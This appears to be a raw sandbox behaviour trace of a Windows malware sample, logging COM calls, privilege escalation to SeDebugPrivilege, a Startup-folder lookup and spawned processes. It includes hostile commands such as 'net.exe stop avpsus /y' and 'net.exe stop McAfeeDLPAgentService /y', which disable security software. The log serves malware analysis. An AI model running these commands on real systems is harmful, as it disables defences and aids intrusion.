ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x1e, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.995] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xed00f20001 [0091.995] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809344, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="get restriction settings", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.995] SysStringLen (param_1="IsRestricted") returned 0xc [0091.995] SysStringLen (param_1="get restriction settings") returned 0x18 [0091.995] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x1f, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.995] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xee00f20001 [0091.995] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809345, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Execute generic command", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.996] SysStringLen (param_1="ShellExecute") returned 0xc [0091.996] SysStringLen (param_1="Execute generic command") returned 0x17 [0091.996] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x20, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.996] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xf000f20001 [0091.996] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809346, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Find a Printer in the Directory Service", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.996] SysStringLen (param_1="FindPrinter") returned 0xb [0091.996] SysStringLen (param_1="Find a Printer in the Directory Service") returned 0x27 [0091.996] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x21, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.996] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xf200da0001 [0091.997] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809347, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Retrieve info about the user's system", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.997] SysStringLen (param_1="GetSystemInformation") returned 0x14 [0091.997] SysStringLen (param_1="Retrieve info about the user's system") returned 0x25 [0091.997] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x22, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.997] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xf400f20001 [0091.997] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809348, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Start a service by name, and optionally set it to autostart.", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.997] SysStringLen (param_1="ServiceStart") returned 0xc [0091.997] SysStringLen (param_1="Start a service by name, and optionally set it to autostart.") returned 0x3c [0091.997] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x23, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.998] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xf600da0001 [0091.998] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809349, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Stop a service by name, and optionally disable autostart.", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.998] SysStringLen (param_1="ServiceStop") returned 0xb [0091.998] SysStringLen (param_1="Stop a service by name, and optionally disable autostart.") returned 0x39 [0091.998] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x24, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.998] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xf800f20001 [0091.998] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809350, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Determine if a service is running by name.", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.998] SysStringLen (param_1="IsServiceRunning") returned 0x10 [0091.998] SysStringLen (param_1="Determine if a service is running by name.") returned 0x2a [0091.998] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x25, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.999] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xfa00da0001 [0091.999] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809351, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Determine if the current user can start/stop the named service.", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.999] SysStringLen (param_1="CanStartStopService") returned 0x13 [0091.999] SysStringLen (param_1="Determine if the current user can start/stop the named service.") returned 0x3f [0091.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x26, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0092.000] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xfc00f20001 [0092.000] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610809352, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Show/Hide browser bar.", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0092.000] SysStringLen (param_1="ShowBrowserBar") returned 0xe [0092.000] SysStringLen (param_1="Show/Hide browser bar.") returned 0x16 [0092.000] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x27, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0092.000] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xfe00da0001 [0092.000] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610874880, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Add an object to the Recent Docuements", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0092.001] SysStringLen (param_1="AddToRecent") returned 0xb [0092.001] SysStringLen (param_1="Add an object to the Recent Docuements") returned 0x26 [0092.001] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x28, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0092.001] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xff00da0001 [0092.001] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610940416, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Windows Security", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0092.001] SysStringLen (param_1="WindowsSecurity") returned 0xf [0092.001] SysStringLen (param_1="Windows Security") returned 0x10 [0092.002] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x29, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0092.002] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0x10000da0001 [0092.002] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610940417, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Raise/lower the desktop", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0092.002] SysStringLen (param_1="ToggleDesktop") returned 0xd [0092.002] SysStringLen (param_1="Raise/lower the desktop") returned 0x17 [0092.002] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x2a, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0092.002] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0x10200f20001 [0092.002] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610940418, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Return explorer policy value", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0092.002] SysStringLen (param_1="ExplorerPolicy") returned 0xe [0092.003] SysStringLen (param_1="Return explorer policy value") returned 0x1c [0092.003] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x2b, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0092.003] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0x10400da0001 [0092.003] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610940419, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Return shell global setting", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0092.003] SysStringLen (param_1="GetSetting") returned 0xa [0092.003] SysStringLen (param_1="Return shell global setting") returned 0x1b [0092.003] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x2c, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0092.004] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0x10500da0001 [0092.004] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1611005952, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Window Switcher", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0092.004] SysStringLen (param_1="WindowSwitcher") returned 0xe [0092.004] SysStringLen (param_1="Window Switcher") returned 0xf [0092.013] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x1f, ppFuncDesc=0x1c7ae2f0, pDummy=0x0 | out: ppFuncDesc=0x1c7ae2f0, pDummy=0x0) returned 0x0 [0092.013] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0x10700da0001 [0092.014] CoGetContextToken (in: pToken=0x1c7ade00 | out: pToken=0x1c7ade00) returned 0x0 [0092.014] Shell:IUnknown:AddRef (This=0x1b7b4c90) returned 0x3 [0092.014] Shell:IUnknown:QueryInterface (in: This=0x1b7b4c90, riid=0x7fee49ed3b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7adf28 | out: ppvObject=0x1c7adf28*=0x1b7ba348) returned 0x0 [0092.014] Shell:IUnknown:Release (This=0x1b7b4c90) returned 0x3 [0092.014] Shell:IDispatch:GetIDsOfNames (in: This=0x1b7ba348, riid=0x7fee49ed330*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1c7adf70*="ShellExecute", cNames=0x1, lcid=0x7fe00000409, rgDispId=0x1c7adf60 | out: rgDispId=0x1c7adf60*=1610809345) returned 0x0 [0092.016] Shell:IDispatch:Invoke (in: This=0x1b7ba348, dispIdMember=1610809345, riid=0x7fee49ed330*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1c7ae038*(rgvarg=([0]=0x1c7adf80*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [1]=0x1c7adf98*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [2]=0x1c7adfb0*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [3]=0x1c7adfc8*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [4]=0x1c7adfe0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x5, cNamedArgs=0x0), pVarResult=0x1c7ae0e0, pExcepInfo=0x1c7addb0, puArgErr=0x1c7add00 | out: pDispParams=0x1c7ae038*(rgvarg=([0]=0x1c7adf80*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [1]=0x1c7adf98*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [2]=0x1c7adfb0*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [3]=0x1c7adfc8*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [4]=0x1c7adfe0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x5, cNamedArgs=0x0), pVarResult=0x1c7ae0e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pExcepInfo=0x1c7addb0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1c7add00*=0x0) returned 0x0 [0092.201] Shell:IUnknown:Release (This=0x1b7ba348) returned 0x2 [0092.205] SetEvent (hEvent=0x32c) returned 1 [0092.205] SetEvent (hEvent=0x370) returned 1 [0092.205] SetEvent (hEvent=0x390) returned 1 [0092.205] SetEvent (hEvent=0x394) returned 1 [0092.205] SetEvent (hEvent=0x334) returned 1 [0092.205] SetEvent (hEvent=0x304) returned 1 [0092.205] SetEvent (hEvent=0x30c) returned 1 [0092.206] SetEvent (hEvent=0x320) returned 1 [0092.206] SetEvent (hEvent=0x338) returned 1 [0092.206] CoUninitialize () Thread: id = 49 os_tid = 0xde8 Thread: id = 50 os_tid = 0xdec Thread: id = 51 os_tid = 0xdf0 [0087.621] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0087.624] ResetEvent (hEvent=0x374) returned 1 Thread: id = 52 os_tid = 0xe64 Thread: id = 53 os_tid = 0xe68 Thread: id = 54 os_tid = 0xe6c Thread: id = 56 os_tid = 0xe78 [0092.251] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0092.253] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0092.253] VirtualQuery (in: lpAddress=0x1c75da80, lpBuffer=0x1c75e940, dwLength=0x30 | out: lpBuffer=0x1c75e940*(BaseAddress=0x1c75d000, AllocationBase=0x1bdd0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0092.254] VirtualQuery (in: lpAddress=0x1c75dd30, lpBuffer=0x1c75ebf0, dwLength=0x30 | out: lpBuffer=0x1c75ebf0*(BaseAddress=0x1c75d000, AllocationBase=0x1bdd0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0092.263] SetEvent (hEvent=0x404) returned 1 [0092.263] SetEvent (hEvent=0x534) returned 1 [0092.264] SetEvent (hEvent=0x538) returned 1 [0092.264] SetEvent (hEvent=0x404) returned 1 [0092.264] SetEvent (hEvent=0x534) returned 1 [0092.264] SetEvent (hEvent=0x5ac) returned 1 [0092.264] SetEvent (hEvent=0x624) returned 1 [0092.264] SetEvent (hEvent=0x620) returned 1 [0092.264] SetEvent (hEvent=0x5b4) returned 1 [0092.264] SetEvent (hEvent=0x5a4) returned 1 [0092.265] CoUninitialize () Process: id = "3" image_name = "newfile.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\temp\\newfile.exe" page_root = "0x17eb3000" os_pid = "0xe70" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xd50" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe\" " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 55 os_tid = 0xe74 [0094.962] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0096.909] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\c1a76b5a-12ab-45c5-b9d9-d692faa6e7a2") returned 0x1c8 [0096.912] CloseHandle (hObject=0x1c8) returned 1 [0096.933] GetCurrentProcessId () returned 0xe70 [0096.949] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1ed260 | out: lpLuid=0x1ed260*(LowPart=0x14, HighPart=0)) returned 1 [0096.950] GetCurrentProcess () returned 0xffffffffffffffff [0096.951] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1ed258 | out: TokenHandle=0x1ed258*=0x1d0) returned 1 [0096.951] AdjustTokenPrivileges (in: TokenHandle=0x1d0, DisableAllPrivileges=0, NewState=0x22226a8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0096.952] CloseHandle (hObject=0x1d0) returned 1 [0096.955] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x1d0 [0096.965] EnumProcessModules (in: hProcess=0x1d0, lphModule=0x2222710, cb=0x200, lpcbNeeded=0x1ee1f0 | out: lphModule=0x2222710, lpcbNeeded=0x1ee1f0) returned 1 [0096.968] GetModuleInformation (in: hProcess=0x1d0, hModule=0x8a0000, lpmodinfo=0x2222998, cb=0x18 | out: lpmodinfo=0x2222998*(lpBaseOfDll=0x8a0000, SizeOfImage=0x14000, EntryPoint=0x8af6f6)) returned 1 [0096.970] CoTaskMemAlloc (cb=0x804) returned 0x1a5a16f0 [0096.970] GetModuleBaseNameW (in: hProcess=0x1d0, hModule=0x8a0000, lpBaseName=0x1a5a16f0, nSize=0x800 | out: lpBaseName="newfile.Exe") returned 0xb [0096.973] CoTaskMemFree (pv=0x1a5a16f0) [0096.973] CoTaskMemAlloc (cb=0x804) returned 0x1a5a16f0 [0096.973] GetModuleFileNameExW (in: hProcess=0x1d0, hModule=0x8a0000, lpFilename=0x1a5a16f0, nSize=0x800 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\newfile.exe")) returned 0x30 [0096.973] CoTaskMemFree (pv=0x1a5a16f0) [0096.974] CloseHandle (hObject=0x1d0) returned 1 [0096.990] CoTaskMemAlloc (cb=0x20c) returned 0x1a5750d0 [0096.990] SHGetFolderPathW (in: hwnd=0x0, csidl=7, hToken=0x0, dwFlags=0x0, pszPath=0x1a5750d0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x0 [0096.995] CoTaskMemFree (pv=0x1a5750d0) [0096.996] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", nBufferLength=0x105, lpBuffer=0x1edb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpFilePart=0x0) returned 0x4f [0097.077] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0097.078] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0097.079] GetCurrentProcess () returned 0xffffffffffffffff [0097.079] GetCurrentProcess () returned 0xffffffffffffffff [0097.079] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x1fc) returned 1 [0097.080] CloseHandle (hObject=0x1f4) returned 1 [0097.080] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0097.081] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0097.081] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0097.081] CoTaskMemFree (pv=0x1a5750d0) [0097.083] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"net.exe\" stop avpsus /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edeb0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2226bc8 | out: lpCommandLine="\"net.exe\" stop avpsus /y", lpProcessInformation=0x2226bc8*(hProcess=0x200, hThread=0x1f4, dwProcessId=0xe90, dwThreadId=0xe94)) returned 1 [0097.253] CloseHandle (hObject=0x1f8) returned 1 [0097.256] GetFileType (hFile=0x1fc) returned 0x3 [0097.266] CloseHandle (hObject=0x1f4) returned 1 [0097.269] ReadFile (in: hFile=0x1fc, lpBuffer=0x2227788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2227788, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0097.902] GetCurrentProcess () returned 0xffffffffffffffff [0097.903] GetCurrentProcess () returned 0xffffffffffffffff [0097.903] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0097.905] CloseHandle (hObject=0x1f4) returned 1 [0097.905] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0097.905] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0097.905] GetCurrentProcess () returned 0xffffffffffffffff [0097.905] GetCurrentProcess () returned 0xffffffffffffffff [0097.905] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x208) returned 1 [0097.905] CloseHandle (hObject=0x1f4) returned 1 [0097.905] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0097.905] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0097.905] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0097.905] CoTaskMemFree (pv=0x1a5750d0) [0097.906] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"net.exe\" stop McAfeeDLPAgentService /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x222ac00 | out: lpCommandLine="\"net.exe\" stop McAfeeDLPAgentService /y", lpProcessInformation=0x222ac00*(hProcess=0x204, hThread=0x1f4, dwProcessId=0xeac, dwThreadId=0xeb0)) returned 1 [0097.949] CloseHandle (hObject=0x1f8) returned 1 [0097.949] GetFileType (hFile=0x208) returned 0x3 [0097.949] CloseHandle (hObject=0x1f4) returned 1 [0097.949] 